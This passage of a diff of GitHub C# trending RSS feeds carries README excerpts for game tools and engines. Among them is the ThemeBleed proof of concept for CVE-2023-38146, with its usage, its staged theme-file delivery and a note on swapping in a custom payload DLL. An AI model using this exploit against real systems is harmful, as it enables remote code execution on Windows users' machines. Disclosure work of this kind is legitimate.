powers.</p> </li> <li> <p>Basic multiplayer functionality: handling multiple clients, remote connections, chat.</p> </li> </ul> <h2>Setup</h2> <p>See <a href="https://github.com/Crypto137/MHServerEmu/raw/master/docs/Setup.md">Setup.md</a> for information on how to set the server up. Please note that since MHServerEmu is still in early stages in development, the process is currently not particularly user friendly.</p> + emoose/DLSSTweaks + 2023-09-25T01:25:47Z + tag:github.com,2023-09-25:/emoose/DLSSTweaks + + <p>Tweak DLL for NVIDIA DLSS, allows forcing DLAA on DLSS-supported titles, tweaking scaling ratios & DLSS 3.1 presets, and overriding DLSS versions without overwriting game files.</p><hr><h1>DLSSTweaks</h1> <p>Wrapper DLL that can force DLAA onto DLSS-supported titles, along with tweaking scaling ratios &amp; DLSS 3.1 presets.</p> <p>Most titles that support DLSS2+ should hopefully work fine with this, but if you find any that don't, or have any other issues, feel free to post in the <a href="https://github.com/emoose/DLSSTweaks/issues">issue tracker</a>.</p> <p>DLSS 3.1 is required for DLSSPresets overrides to be applied, but DLAA forcing / scaling ratio tweaks should work fine across 2.x too - DLSS framegen is unaffected by this DLL.</p> <p>This has been tested with Nvidia driver series <strong>528</strong> &amp; <strong>531</strong> - earlier driver versions are known to have issues, recommend updating if DLSSTweaks doesn't seem to apply to any games for you.</p> <p>Check <a href="https://github.com/emoose/DLSSTweaks/releases">releases section</a> for information about releases.</p> <hr> <p>If the tweaks helped improve your experience consider buying a coffee to support future development &amp; help to obtain more games to test with. Thank you!</p> <p><a href="https://ko-fi.com/emoose" target="_blank"><img src="https://i.imgur.com/I3zDqrO.png" border="0" alt="Buy Me a Coffee at ko-fi.com"></a></p> <a href="https://ko-fi.com/emoose" target="_blank"> <hr> <p>DLSSTweaks now offers two different ways to setup the wrapper, which should help let it work across different system configs:</p> <h4>nvngx.dll</h4> <p>The easiest way to install is via nvngx.dll wrapping, this should work fine for the majority of games without needing to rename any files first.</p> <p>However this method requires a small registry tweak to be applied first to stop DLSS from checking the nvngx.dll signature.</p> <p>The included <code>EnableNvidiaSigOverride.reg</code> can install this tweak for you (the tweak can also be removed via the <code>DisableNvidiaSigOverride.reg</code>)</p> <p>After setting up the registry tweak you should be able to just copy the <code>nvngx.dll</code> &amp; <code>dlsstweaks.ini</code> files next to your game EXE, and it should hopefully load into the game fine.</p> </a> <p><a href="https://ko-fi.com/emoose" target="_blank">(this is the same registry tweak used by </a><a href="https://github.com/PotatoOfDoom/CyberFSR2">CyberFSR2</a> to load in their custom nvngx.dll, haven't seen any reports of issues caused by it, but if you play games that use anti-cheat software you may want to use the method below, instead of installing this global registry tweak)</p> <h4>dxgi.dll/etc</h4> <p>Alternatively if you don't wish to use the registry tweak, the older methods of loading in via dxgi.dll etc wrapping are also still supported.<br> (this older method requires more code hooks to be applied though, which may have issues on certain systems, the nvngx.dll method is believed to be more compatible)</p> <p>You can switch to these wrappers by renaming the included nvngx.dll file to one of the supported filenames, the <a href="https://github.com/emoose/DLSSTweaks/raw/master/dlsstweaks.ini">dlsstweaks.ini</a> includes a list of filenames you can try.</p> <hr> <p>If the DLL loaded in fine there should be a dlsstweaks.log file created next to the EXE, if that shows up then hopefully the tweaks should be active. (you can use the DLSS dev DLL to verify that they're actually active, the INI file has more info about that)</p> <p>Note that <strong>the default dlsstweaks.ini won't apply any tweaks</strong>, it must be edited first - the included INI explains each of the available tweaks, along with alternate filenames you can rename the DLSSTweaks DLL to.</p> <p><strong>NOT RECOMMENDED FOR ONLINE GAMES</strong><br> The way the hook works is similar to how some game cheats modify games, it's very likely to be picked up by most anti-cheats.</p> <p><strong>Please don't reupload this DLL elsewhere</strong>, linking to the <a href="https://github.com/emoose/DLSSTweaks/releases">releases page</a> would be appreciated.</p> <hr> <h3>Game Compatibility</h3> <p>A list of games tested against DLSSTweaks can be found here: <a href="https://github.com/emoose/DLSSTweaks/wiki/Games">https://github.com/emoose/DLSSTweaks/wiki/Games</a></p> <p>If you try out any game that isn't mentioned there please let us know how it went on the <a href="https://github.com/emoose/DLSSTweaks/issues">issue tracker</a>!</p> <p>Many thanks to <a href="https://www.reddit.com/user/DoktorSleepless">DoktorSleepless</a> &amp; <a href="https://www.reddit.com/user/OrganizationOk4516">OrganizationOk4516</a> for helping test the DLL with most of these games before release!</p> <hr> <h3>Thanks</h3> <p>DLSSTweaks is built on top of several open-source projects, many thanks to the following:</p> <ul> <li>praydog for the project template (<a href="https://github.com/praydog/AutomataMP">https://github.com/praydog/AutomataMP</a>)</li> <li>cursey for safetyhook (<a href="https://github.com/cursey/safetyhook">https://github.com/cursey/safetyhook</a>)</li> <li>Silent for ModUtils (<a href="https://github.com/CookiePLMonster/ModUtils">https://github.com/CookiePLMonster/ModUtils</a>)</li> <li>PotatoOfDoom for CyberFSR2 &amp; the nvngx.dll loading method/signature override (<a href="https://github.com/PotatoOfDoom/CyberFSR2">https://github.com/PotatoOfDoom/CyberFSR2</a>)</li> <li>This software contains source code provided by NVIDIA Corporation.</li> </ul> - SlejmUr/PayCheck3 - 2023-09-24T01:27:20Z - tag:github.com,2023-09-24:/SlejmUr/PayCheck3 - - <p>PayDay 3 Server Emulator Attempt</p><hr><h1>PayCheck3</h1> <p>PayDay 3 (Live/Master Branch) Server emulator</p> <h2>Disclaimer</h2> <ul> <li>You must own a legitimate copy of PAYDAY 3 to use this software, which can be purchased at <a href="https://www.paydaythegame.com/payday3/#buy">https://www.paydaythegame.com/payday3/#buy</a></li> <li>The contributors of PayCheck3 in no way support piracy, and actively ensure that PayCheck3 does not work with an illegitimate copy. We're sorry to have caused any confusion that this could be used for piracy.</li> <li>This project is in no way affliated or endorsed by Starbreeze Entertainment.</li> </ul> <h2>CURRENTLY MATCHMAKING IS NOT WORKING!</h2> <p>Thank you for understanding! I working on a solution, no ETA yet.</p> <h2>Current State</h2> <p>Left to do (&amp; Working on it):</p> <ul> <li>WSS Response</li> <li>Party and GameSessions</li> <li>New Responses</li> </ul> <p>Need more Interogation:<br> UDP Connection</p> <p>How to run:</p> <ol> <li>Go To Cert folder and follow readme.txt</li> <li>Copy crt &amp; pfx files and paste next to PayCheck3ServerApp.exe</li> <li>Start the server.</li> <li>Go to your c:\Windows\System32\Drivers\etc\hosts and open it.</li> <li>Copy all stuff from hosts_edit.txt</li> <li>Run your Client &amp; Have fun.</li> </ol> <p>If you want your friends to join you, they need to edit the 127.0.0.1 to your IP (Can be Lan or your External)</p> <h1>Where can I get the built server?</h1> <p>In <a href="https://github.com/SlejmUr/PayCheck3/actions">Github Actions</a> you find most recent pushes/request Build version.</p> <h1>Configurate your server.</h1> <p>You see a config.json where you can edit some things that can edit server stuff.</p> <h3>Saves</h3> <p>SaveRequest: In here you can save each request when client send any change in the inventory. (Usefull for debug)<br> Extension: It basicly a json but with a funny extension</p> <h3>Hosting</h3> <p>IP: Currently is its 127.0.0.1 but can be changed to your IP or anything as IP (IT HOST GSTATIC,WSS,UDP too!!!)<br> WSS: Can enable/disable to run the HTTPS/WSS Server<br> UDP: Can enable/disable to run the UDP Server (GameServer?) [NOT USED]<br> GSTATIC: Can enable/disable to run the GSTATIC server (Enable you to play without internet)<br> UDP_PORT: Can set Port for UDP connection</p> <h3>InDevFeatures</h3> <p>Can enable/disable certain features that could land you something now work perfectly.</p> <h1>Soon stuff's</h1> <p>Aka just ideas</p> <h3>How to add your server</h3> <p>Open servers.json<br> Duplicate the eu-central-1 alias server<br> Edit the Status, Region, Port, IP to your UDP one</p> + csutorasa/XOutput + 2023-09-25T01:25:47Z + tag:github.com,2023-09-25:/csutorasa/XOutput + + <p>DirectInput to XInput wrapper</p><hr><p><a href="https://github.com/csutorasa/XOutput/actions?query=branch%3Amaster"><img src="https://github.com/csutorasa/XOutput/workflows/Build%20XOutput/badge.svg?sanitize=true" alt="Build XOutput"></a> <a href="https://github.com/csutorasa/XOutput/releases/"><img src="https://img.shields.io/github/downloads/csutorasa/XOutput/total.svg?sanitize=true" alt="Github All Releases"></a> <a href="https://sourceforge.net/projects/xoutput/files/latest/download"><img src="https://img.shields.io/sourceforge/dt/xoutput.svg?sanitize=true" alt="Download XOutput"></a> <a href="https://paypal.me/csutorasa"><img src="https://img.shields.io/badge/Donate-PayPal-green.svg?sanitize=true" alt="Donate"></a> <a href="https://sonarcloud.io/dashboard?id=XOutput"><img src="https://sonarcloud.io/api/project_badges/measure?project=XOutput&amp;metric=alert_status" alt="Quality Gate Status"></a> <a href="https://discord.gg/Y628tcp"><img src="https://img.shields.io/discord/673150216169455637?label=Discord&amp;logo=Discord" alt="Discord"></a></p> <h1>XOutput</h1> <p>If you have an older or not supported game controller (gamepad, wheel, joystick, etc.), but XBox 360 controllers are supported you can use this software and enjoy gaming with your controller.</p> <p>XOutput is a software that can convert <a href="https://docs.microsoft.com/en-us/previous-versions/windows/desktop/ee416842(v=vs.85)">DirectInput</a> into <a href="https://docs.microsoft.com/en-us/windows/win32/xinput">XInput</a>. DirectInput data is read and sent to a virtual XInput (Xbox 360 Controller) device. XInput is the new standard game controller input on windows, and DirectInput can no longer be used with <a href="https://docs.microsoft.com/en-us/windows/uwp/">Universal Windows Platform</a> software, but with this tool you can use DirectInput devices as well.</p> <h2>General information</h2> <p>If you have any questions or feature requests feel free to create <a href="https://github.com/csutorasa/XOutput/issues">Github Issue</a>.</p> <p>Any contribution is welcome, open your <a href="https://github.com/csutorasa/XOutput/pulls">Pull request</a>.</p> <p>To join the discussion or just say hi, there is a <a href="https://discord.gg/Y628tcp">discord channel</a>.</p> <p><strong>This version is currently under development. Please use <a href="https://github.com/csutorasa/XOutput/tree/3.x">3.x</a> version for stable features</strong></p> <table> <thead> <tr> <th>Version</th> <th>State</th> <th>Support</th> </tr> </thead> <tbody> <tr> <td><strong><a href="https://github.com/csutorasa/XOutput">4.x</a></strong></td> <td><strong>Under development (no releases yet)</strong></td> <td><strong>Active development with new features</strong></td> </tr> <tr> <td><a href="https://github.com/csutorasa/XOutput/tree/3.x">3.x</a></td> <td>Stable</td> <td>Bugfixes only</td> </tr> <tr> <td>2.x</td> <td>Old version (superseeded by 3.x)</td> <td>Expired at Mar 7 2018</td> </tr> <tr> <td>1.x</td> <td>Old version (superseeded by 3.x)</td> <td>Expired at Mar 7 2018</td> </tr> </tbody> </table> <h2>How to install</h2> <h3>Install emulation software</h3> <p>Install one of the two libraries. ViGEm (preferred) or SCPToolkit (unsupported, legacy)</p> <table> <thead> <tr> <th>Software</th> <th>State</th> <th>Download</th> </tr> </thead> <tbody> <tr> <td><a href="https://github.com/nefarius/ViGEmBus">ViGEmBus</a></td> <td>Deprecated since Sep 8, 2023</td> <td><a href="https://github.com/nefarius/ViGEmBus/releases">ViGEmBus</a></td> </tr> <tr> <td><a href="https://github.com/nefarius/ScpServer">ScpToolkit</a></td> <td>Deprecated since Mar 20, 2023</td> <td><a href="https://github.com/nefarius/ScpServer/releases/latest">ScpToolkit</a></td> </tr> </tbody> </table> <h3>Install dependencies</h3> <p>Install:</p> <ul> <li>DirectX (any version that contains dinput8.dll)</li> <li>Visual C++ Redistributable for Visual Studio 2015 32-bit</li> <li>Visual C++ Redistributable for Visual Studio 2015 64-bit</li> <li>all the drivers for your controllers</li> <li><a href="https://dotnet.microsoft.com/download">.NET 7 ASP.NET and Desktop runtime</a></li> <li>if you have issues, install the official <a href="https://www.microsoft.com/accessories/en-gb/d/xbox-360-controller-for-windows">XBox 360 controller drivers</a>.</li> </ul> <h3>Download XOutput</h3> <ul> <li>Download the <a href="https://github.com/csutorasa/XOutput/releases/latest">latest stable release</a></li> <li>Unzip to any directory</li> </ul> <h2>How to upgrade</h2> <p>Download the application:</p> <ul> <li>Download the <a href="https://github.com/csutorasa/XOutput/releases/latest">latest stable release</a></li> <li>Unzip to the same directory as before</li> <li>If there are errors, remove the existing <code>conf</code> directory</li> </ul> <h2>Hiding original input (exclusive mode)</h2> <table> <thead> <tr> <th>Software</th> <th>State</th> <th>Download</th> </tr> </thead> <tbody> <tr> <td><a href="https://github.com/nefarius/hidhide">HidHide</a></td> <td>Active development</td> <td><a href="https://github.com/nefarius/HidHide/releases">HidHide</a></td> </tr> <tr> <td><a href="https://github.com/nefarius/hidguardian">HidGuardian</a></td> <td>Deprecated since Jul 27, 2023</td> <td><a href="https://docs.nefarius.at/projects/HidGuardian/HidGuardian-Gen1-Installation/">HidGuardian</a></td> </tr> </tbody> </table> <h3>HidGuardian setup</h3> <p>Affected devices and whitelist can be managed by the application, but it needs administrator priviledges.</p> <ol> <li>Enable HidGuardian initialization in the settings.</li> <li>Restart the application as administrator.</li> <li>Add device to affected devices in the input settings.</li> <li>Reconnect device or reboot PC</li> </ol> <p>Add affected device manually (use this method only, if you want to hide non recognized HID devices):</p> <ol> <li>Run <code>regedit</code> and go to <code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\HidGuardian\Parameters</code></li> <li>Create <code>multi-string</code> value with the name <code>AffectedDevices</code></li> <li>Open Device Manager, find your input device and open properties</li> <li>Go to details, select <code>Hardware ID</code> and copy string that looks like <code>HID\VID_046D&amp;PID_C219&amp;REV_0200</code> and <code>HID\VID_046D&amp;PID_C219</code></li> <li>Paste the values into <code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\HidGuardian\Parameters</code></li> <li>Reconnect devices or reboot PC</li> </ol> <p>Manage process whitelist manually (use this method only, if you want to use HidGuardian for other applications):</p> <ol> <li>Start XOutput (or any other application)</li> <li>Open Task Manager, find your application, then go to details.</li> <li>Remember the value of the PID column.</li> <li>Run <code>regedit</code> and go to <code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\HidGuardian\Parameters\Whitelist</code></li> <li>Create subkey with the PID you found before.</li> </ol> <h2>Technical problem</h2> <p>Problem visualisation</p> <pre><code class="language-mermaid">graph TD subgraph XInput X1(Xbox controller 1) --&gt;|Read hardware input| XD[Xbox controller driver - xusb22.sys] X2(Xbox controller 2) --&gt;|Read hardware input| XD XD --&gt;|Read input| XR[XInput handler - xinput1_3.dll] end subgraph DirectInput D1(fa:fa-gamepad Older controller) --&gt;|Read hardware input| D1D[Controller driver] D2(Joystick) --&gt;|Read hardware input| D2D[Joystick driver] D3(Gaming wheel) --&gt;|Read hardware input| D3D[Gaming wheel driver] D1D --&gt;|Read input| DR[Direct input handler - dinput8.dll] D2D --&gt;|Read input| DR D3D --&gt;|Read input| DR end subgraph Games XR --&gt;|Read XInput| NG[Newer games] XR --&gt;|Read XInput| CG[Compatible games] DR --&gt;|Read DInput| CG[Compatible games] DR --&gt;|Read DInput| OG[Older games] end </code></pre> <p>Offered solution</p> <pre><code class="language-mermaid">graph TD subgraph XInput X1(Xbox controller 1) --&gt;|Read hardware input| XD[Xbox controller driver - xusb22.sys] X2(Xbox controller 2) --&gt;|Read hardware input| XD XD --&gt;|Read input| XR[XInput handler - xinput1_3.dll] end subgraph DirectInput D1(fa:fa-gamepad Older controller) --&gt;|Read hardware input| D1D[Controller driver] D2(Joystick) --&gt;|Read hardware input| D2D[Joystick driver] D3(Gaming wheel) --&gt;|Read hardware input| D3D[Gaming wheel driver] D1D --&gt;|Read input| DR[Direct input handler - dinput8.dll] D2D --&gt;|Read input| DR D3D --&gt;|Read input| DR end DR --&gt;|Read DInput| XOA[XOutput.App] subgraph Solution DR --&gt;|Read HTML5 gamepad API| B[Browser] B --&gt;|Browser| XOS[XOutput.Server] XOA --&gt;|Sends input| XOS[XOutput.Server] XOS --&gt;|Control emulation| V[ViGEm] end V --&gt;|Emulate controller| XD subgraph Games XR --&gt;|Read XInput| NG[Newer games] XR --&gt;|Read XInput| CG[Compatible games] DR --&gt;|Read DInput| CG[Compatible games] DR --&gt;|Read DInput| OG[Older games] end </code></pre> <h2>How it works</h2> <table> <thead> <tr> <th>Component</th> <th>Implementation</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td>Device emualation</td> <td>ViGEm</td> <td>External software that emulates XBox and DS4 controllers</td> </tr> <tr> <td>Device emualation</td> <td>SCP toolkit</td> <td>Legacy external software that emulates XBox controllers</td> </tr> <tr> <td>Backend</td> <td>XOutput.Server</td> <td>Server that collects data from clients and sends to the emulation software</td> </tr> <tr> <td>Client</td> <td>XOutput.App</td> <td>Desktop application that collects data from the devices and sends to the backend</td> </tr> <tr> <td>Client</td> <td>Web controller</td> <td>Web application that allows to emulate a device</td> </tr> <tr> <td>Client</td> <td>Web client</td> <td>Web application that uses the <a href="https://developer.mozilla.org/en-US/docs/Web/API/Gamepad_API/Using_the_Gamepad_API">Gamepad API</a></td> </tr> </tbody> </table> \ No newline at end of file diff --git a/c%23/weekly/index.xml b/c%23/weekly/index.xml deleted file mode 100644 index b54de93129d..00000000000 --- a/c%23/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub C# Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:47:04Z - Weekly Trending of C# in GitHub - - - gabe-k/themebleed - 2023-09-24T01:47:04Z - tag:github.com,2023-09-24:/gabe-k/themebleed - - <p>Proof-of-Concept for CVE-2023-38146 ("ThemeBleed")</p><hr><h1>ThemeBleed</h1> <p>Proof-of-Concept for CVE-2023-38146 ("ThemeBleed")</p> <pre><code>Usage: ThemeBleed.exe &lt;command&gt; Commands: server - Runs the server make_theme &lt;host&gt; &lt;output path&gt; - Generates a .theme file referencing the specified host make_themepack &lt;host&gt; &lt;output_path&gt; - Generates a .themepack file referencing the specified host </code></pre> <h2>Data files</h2> <p>The binaries in data correspond to the 3 files returned to the target by the PoC.</p> <ul> <li><code>stage_1</code> - An <code>msstyles</code> file with the <code>PACKTHEM_VERSION</code> set to 999.</li> <li><code>stage_2</code> - A valid unmodified <code>msstyles</code> file to pass the signature check.</li> <li><code>stage_3</code> - The DLL that will be loaded and executed. The provided example simply launches <code>calc.exe</code>.</li> </ul> <p>To make your own payload, create a DLL with an export named <code>VerifyThemeVersion</code> containing your code, and replace <code>stage_3</code> with your newly created DLL.</p> - - - FNA-XNA/FNA - 2023-09-24T01:47:04Z - tag:github.com,2023-09-24:/FNA-XNA/FNA - - <p>FNA - Accuracy-focused XNA4 reimplementation for open platforms</p><hr><p>This is FNA, an XNA4 reimplementation that focuses solely on developing a fully accurate XNA4 runtime for the desktop.</p> <p>Project Website: <a href="https://fna-xna.github.io/">https://fna-xna.github.io/</a></p> <h2>License</h2> <p>FNA is released under the Microsoft Public License. See LICENSE for details.</p> <p>FNA uses LzxDecoder.cs, released under a dual MSPL/LGPL license. See lzxdecoder.LICENSE for details.</p> <p>FNA uses code from the Mono.Xna project, released under the MIT license. See monoxna.LICENSE for details.</p> <h2>Documentation</h2> <p>Documentation for FNA can be found on the FNA wiki:</p> <p><a href="https://github.com/FNA-XNA/FNA/wiki">https://github.com/FNA-XNA/FNA/wiki</a></p> <h2>Found an issue?</h2> <p>Issues and patches can be reported via GitHub:</p> <p><a href="https://github.com/FNA-XNA/FNA/issues">https://github.com/FNA-XNA/FNA/issues</a></p> - - - stride3d/stride - 2023-09-24T01:47:04Z - tag:github.com,2023-09-24:/stride3d/stride - - <p>Stride Game Engine (formerly Xenko)</p><hr><p> <picture> <source media="(prefers-color-scheme: dark)" srcset="https://media.githubusercontent.com/media/stride3d/stride/84092e8aa924e2039b3f8d968907b48fc699c6b3/sources/data/images/Logo/stride-logo-readme-white.png"> <source media="(prefers-color-scheme: light)" srcset="https://media.githubusercontent.com/media/stride3d/stride/84092e8aa924e2039b3f8d968907b48fc699c6b3/sources/data/images/Logo/stride-logo-readme-black.png"> <img alt="The stride logo, a geometrical 'S' in the form of a cube" src="https://media.githubusercontent.com/media/stride3d/stride/84092e8aa924e2039b3f8d968907b48fc699c6b3/sources/data/images/Logo/stride-logo-readme-black.png"> </picture> </p> <p><a href="https://discord.gg/f6aerfE"><img src="https://img.shields.io/discord/500285081265635328.svg?style=flat&amp;logo=discord&amp;label=discord&amp;logoColor=f2f2f2" alt="Join the chat at https://discord.gg/f6aerfE"></a> <a href="https://raw.githubusercontent.com/stride3d/stride/master/#contributors"><img src="https://img.shields.io/github/all-contributors/stride3d/stride?color=ee8449" alt="All Contributors"></a> <a href="https://opencollective.com/stride3d"><img src="https://img.shields.io/opencollective/all/stride3d?logo=opencollective" alt="Financial sponsors"></a> <a href="https://github.com/stride3d/stride/raw/master/LICENSE.md"><img src="https://img.shields.io/badge/license-MIT-blue" alt="License"></a></p> <p>Welcome to the Stride source code repository!</p> <p>Stride is an open-source C# game engine for realistic rendering and VR. The engine is highly modular and aims at giving game makers more flexibility in their development. Stride comes with an editor that allows you to create and manage the content of your games or applications visually and intuitively.</p> <p><img src="https://stride3d.net/images/external/script-editor.png" alt="Stride Editor"></p> <p>To learn more about Stride, visit <a href="https://stride3d.net/">stride3d.net</a>.</p> <h2>License and governance</h2> <h3>.NET Foundation</h3> <p>This project is supported by the <a href="https://dotnetfoundation.org">.NET Foundation</a>.</p> <h3>License</h3> <p>Stride is covered by the <a href="https://raw.githubusercontent.com/stride3d/stride/master/LICENSE.md">MIT License</a> unless stated otherwise (i.e. for some files that are copied from other projects). You can find the list of third-party projects <a href="https://raw.githubusercontent.com/stride3d/stride/master/THIRD%20PARTY.md">here</a>. Contributors need to sign the following <a href="https://raw.githubusercontent.com/stride3d/stride/master/docs/ContributorLicenseAgreement.md">Contribution License Agreement</a>.</p> <h3>Code of conduct</h3> <p>Stride being a <a href="https://www.dotnetfoundation.org/">.NET Foundation</a> project, it has adopted the code of conduct defined by the Contributor Covenant to clarify expected behavior in our community. For more information see the <a href="https://dotnetfoundation.org/code-of-conduct">.NET Foundation Code of Conduct</a>.</p> <h3>Earn money by contributing</h3> <p>If you are a developer with solid experience in C#, rendering techniques, or game development, we want to hire you! We have allocated funds from supporters on OpenCollective and can pay for work on certain projects. <a href="https://github.com/stride3d/stride/wiki/Bounty">More info about this here</a>.</p> <h2>Documentation</h2> <p>Find explanations and information about Stride:</p> <ul> <li><a href="https://doc.stride3d.net/latest/manual/index.html">Stride Manual</a></li> <li><a href="https://doc.stride3d.net/latest/en/tutorials/">Tutorials</a></li> <li><a href="https://doc.stride3d.net/latest/api/index.html">API Reference</a></li> <li><a href="https://doc.stride3d.net/latest/ReleaseNotes/index.html">Release Notes</a></li> </ul> <h2>Community</h2> <p>Ask for help or report issues:</p> <ul> <li><a href="https://discord.gg/f6aerfE">Chat with the community on Discord</a></li> <li><a href="https://github.com/stride3d/stride/discussions">Discuss topics on GitHub discussions</a></li> <li><a href="https://github.com/stride3d/stride/issues">Report engine issues</a></li> <li><a href="https://opencollective.com/stride3d/">Donate to support the project</a></li> <li><a href="https://github.com/stride3d/stride/wiki/Community-Projects">List of Projects made by users</a></li> <li><a href="https://github.com/Doprez/Awesome-Stride">Awesome Stride - Huge List of Stride Resources</a></li> <li><a href="https://raw.githubusercontent.com/stride3d/stride/master/docs/localization.md">Localization</a></li> </ul> <h2>Building from source</h2> <h3>Prerequisites</h3> <ol> <li><strong>Latest</strong> <a href="https://git-scm.com/downloads">Git</a> <strong>with Large File Support</strong> selected in the setup on the components dialog.</li> <li><a href="https://dotnet.microsoft.com/en-us/download/dotnet/6.0">DotNet SDK 6.0</a> <ul> <li>Run <code>dotnet --info</code> in a console or powershell window to see which versions you have installed</li> </ul> </li> <li><a href="https://www.visualstudio.com/downloads/">Visual Studio 2022</a> with the following workloads: <ul> <li><code>.NET desktop development</code> with <code>.NET Framework 4.7.2 targeting pack</code></li> <li><code>Desktop development with C++</code> with <ul> <li><code>Windows 10 SDK (10.0.18362.0)</code> (it's currently enabled by default but it might change)</li> <li><code>MSVC v143 - VS2022 C++ x64/x86 build tools (v14.30)</code> or later version (should be enabled by default)</li> <li><code>C++/CLI support for v143 build tools (v14.30)</code> or later version <strong>(not enabled by default)</strong></li> </ul> </li> <li>Optional (to target iOS/Android): <code>Mobile development with .NET</code> and <code>Android SDK setup (API level 27)</code> individual component, then in Visual Studio go to <code>Tools &gt; Android &gt; Android SDK Manager</code> and install <code>NDK</code> (version 19+) from <code>Tools</code> tab.</li> </ul> </li> <li><strong><a href="https://www.autodesk.com/developer-network/platform-technologies/fbx-sdk-2019-0">FBX SDK 2019.0 VS2015</a></strong></li> </ol> <h3>Build Stride</h3> <ol> <li>Open a command prompt, point it to a directory and clone Stride to it: <code>git clone https://github.com/stride3d/stride.git</code> <ul> <li>Note that when you use GitHub -&gt; Code -&gt; Download ZIP, this doesn't support Large File Support <code>lfs</code>, make sure you use the command above or that your git client does it for you</li> </ul> </li> <li>Open <code>&lt;StrideDir&gt;\build\Stride.sln</code> with Visual Studio 2022 and build <code>Stride.GameStudio</code> in the 60-Editor solution folder (it should be the default startup project) or run it from VS's toolbar. <ul> <li>Optionally, open and build <code>Stride.Android.sln</code>, <code>Stride.iOS.sln</code>, etc.</li> </ul> </li> </ol> <h4>Build Stride without Visual Studio</h4> <ol> <li>Install <a href="https://aka.ms/vs/17/release/vs_BuildTools.exe">Visual Studio Build Tools</a> with the same prerequisites listed above</li> <li>Add MSBuild's directory to your system's <em>PATH</em> (ex: <code>C:\Program Files (x86)\Microsoft Visual Studio\2022\BuildTools\MSBuild\Current\Bin</code>)</li> <li>Open a command prompt, point it to a directory and clone Stride to it: <code>git lfs clone https://github.com/stride3d/stride.git</code></li> <li>Navigate to <code>/Build</code> with the command prompt, input <code>msbuild /t:Restore Stride.sln</code> then <code>compile.bat</code></li> </ol> <p>If building failed:</p> <ul> <li>If you skipped one of the <code>Prerequisites</code> thinking that you already have the latest version, update to the latest anyway just to be sure.</li> <li>Visual Studio might have issues properly building if an anterior version is present alongside 2022. If you want to keep those version make sure that they are up to date and that you are building Stride through VS 2022.</li> <li>Your system's <em>PATH</em> should not contain older versions of MSBuild (ex: <code>...\Microsoft Visual Studio\2019\BuildTools\MSBuild\Current\Bin</code> should be removed)</li> <li>Some changes might require a system reboot, try that if you haven't yet.</li> <li>Make sure that Git, Git LFS and Visual Studio can access the internet.</li> <li>Close VS, clear the nuget cache (in your cmd <code>dotnet nuget locals all --clear</code>), delete the hidden <code>.vs</code> folder inside <code>\build</code> and the files inside <code>bin\packages</code>, kill any msbuild and other vs processes, build the whole solution then build and run GameStudio.</li> </ul> <p>Do note that test solutions might fail but it should not prevent you from building <code>Stride.GameStudio</code>.</p> <h3>Contribution Guidelines</h3> <p>Please check our <a href="https://raw.githubusercontent.com/stride3d/stride/master/docs/CONTRIBUTING.md">Contributing Guidelines</a>.</p> <h3>Build Status</h3> <table> <thead> <tr> <th align="center">Branch</th> <th align="center"><strong>master</strong></th> </tr> </thead> <tbody> <tr> <td align="center">Windows D3D11</td> <td align="center"><a href="https://teamcity.stride3d.net/viewType.html?buildTypeId=Engine_BuildWindowsD3d11&amp;branch=master&amp;guest=1"><img src="https://teamcity.stride3d.net/app/rest/builds/buildType:(id:Engine_BuildWindowsD3d11),branch:master/statusIcon"></a></td> </tr> <tr> <td align="center">Windows D3D12</td> <td align="center"><a href="https://teamcity.stride3d.net/viewType.html?buildTypeId=Engine_BuildWindowsD3d12&amp;branch=master&amp;guest=1"><img src="https://teamcity.stride3d.net/app/rest/builds/buildType:(id:Engine_BuildWindowsD3d12),branch:master/statusIcon"></a></td> </tr> <tr> <td align="center">Windows Vulkan</td> <td align="center"><a href="https://teamcity.stride3d.net/viewType.html?buildTypeId=Engine_BuildWindowsVulkan&amp;branch=master&amp;guest=1"><img src="https://teamcity.stride3d.net/app/rest/builds/buildType:(id:Engine_BuildWindowsVulkan),branch:master/statusIcon"></a></td> </tr> <tr> <td align="center">Windows OpenGL</td> <td align="center"><a href="https://teamcity.stride3d.net/viewType.html?buildTypeId=Engine_BuildWindowsOpenGL&amp;branch=master&amp;guest=1"><img src="https://teamcity.stride3d.net/app/rest/builds/buildType:(id:Engine_BuildWindowsOpenGL),branch:master/statusIcon"></a></td> </tr> <tr> <td align="center">Windows OpenGL ES</td> <td align="center"><a href="https://teamcity.stride3d.net/viewType.html?buildTypeId=Engine_BuildWindowsOpenGLES&amp;branch=master&amp;guest=1"><img src="https://teamcity.stride3d.net/app/rest/builds/buildType:(id:Engine_BuildWindowsOpenGLES),branch:master/statusIcon"></a></td> </tr> <tr> <td align="center">iOS</td> <td align="center"><a href="https://teamcity.stride3d.net/viewType.html?buildTypeId=Engine_BuildiOS&amp;branch=master&amp;guest=1"><img src="https://teamcity.stride3d.net/app/rest/builds/buildType:(id:Engine_BuildiOS),branch:master/statusIcon"></a></td> </tr> <tr> <td align="center">Android</td> <td align="center"><a href="https://teamcity.stride3d.net/viewType.html?buildTypeId=Engine_BuildAndroid&amp;branch=master&amp;guest=1"><img src="https://teamcity.stride3d.net/app/rest/builds/buildType:(id:Engine_BuildAndroid),branch:master/statusIcon"></a></td> </tr> <tr> <td align="center">Linux Vulkan</td> <td align="center"><a href="https://teamcity.stride3d.net/viewType.html?buildTypeId=Engine_BuildLinuxVulkan&amp;branch=master&amp;guest=1"><img src="https://teamcity.stride3d.net/app/rest/builds/buildType:(id:Engine_BuildLinuxVulkan),branch:master/statusIcon"></a></td> </tr> <tr> <td align="center">Linux OpenGL</td> <td align="center"><a href="https://teamcity.stride3d.net/viewType.html?buildTypeId=Engine_BuildLinuxOpenGL&amp;branch=master&amp;guest=1"><img src="https://teamcity.stride3d.net/app/rest/builds/buildType:(id:Engine_BuildLinuxOpenGL),branch:master/statusIcon"></a></td> </tr> <tr> <td align="center">Tests Windows Simple</td> <td align="center"><a href="https://teamcity.stride3d.net/viewType.html?buildTypeId=Engine_Tests_WindowsSimple&amp;branch=master&amp;guest=1"><img src="https://teamcity.stride3d.net/app/rest/builds/buildType:(id:Engine_Tests_WindowsSimple),branch:master/statusIcon"></a></td> </tr> <tr> <td align="center">Tests Windows D3D11</td> <td align="center"><a 